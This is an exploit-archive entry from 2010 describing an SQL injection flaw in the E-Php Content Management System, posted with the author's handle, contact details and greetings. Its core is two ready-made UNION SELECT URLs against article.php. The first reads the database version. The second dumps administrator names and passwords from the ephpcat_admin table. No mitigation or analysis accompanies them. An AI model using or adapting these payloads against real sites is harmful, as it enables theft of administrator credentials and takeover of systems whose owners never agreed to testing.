[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : E-Php Content Management System SQL Injection Vulnerability
# Published : 2010-11-03
# Author : Cru3l.b0y
# Previous Title : Comrie Software Pay Roll Time Sheet & Punch Card Authentication Bypass
# Next Title : Site2Ntite Vacation Rental (VRBO) Listings SQL Injection Vulnerability
In The Name Of GOD
[+] Exploit Title: E-Php Content Management System SQL Injection Vulnerability
[+] Date: 2010-11-03
[+] Author : Cru3l.b0y
[+] Software Link: http://www.ephpscripts.com/content-management-system.php
[+] Tested on: Ubuntu 10.10
[+] Contact : Cru3l.b0y@gmail.com
[+] Website : WwW.PenTesters.IR
[+] Greeting: Behzad, Ahmad, ...
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
[+] Exploit :
http://target/path/cms/article.php?es_id=-1+union+select+1,version(),3,4,5,6,7,8,9,10,11,12
http://target/path/cms/article.php?es_id=-1+union+select+1,group_concat(es_admin_name,0x3a,es_pwd),3,4,5,6,7,8,9,10,11,12+from+ephpcat_admin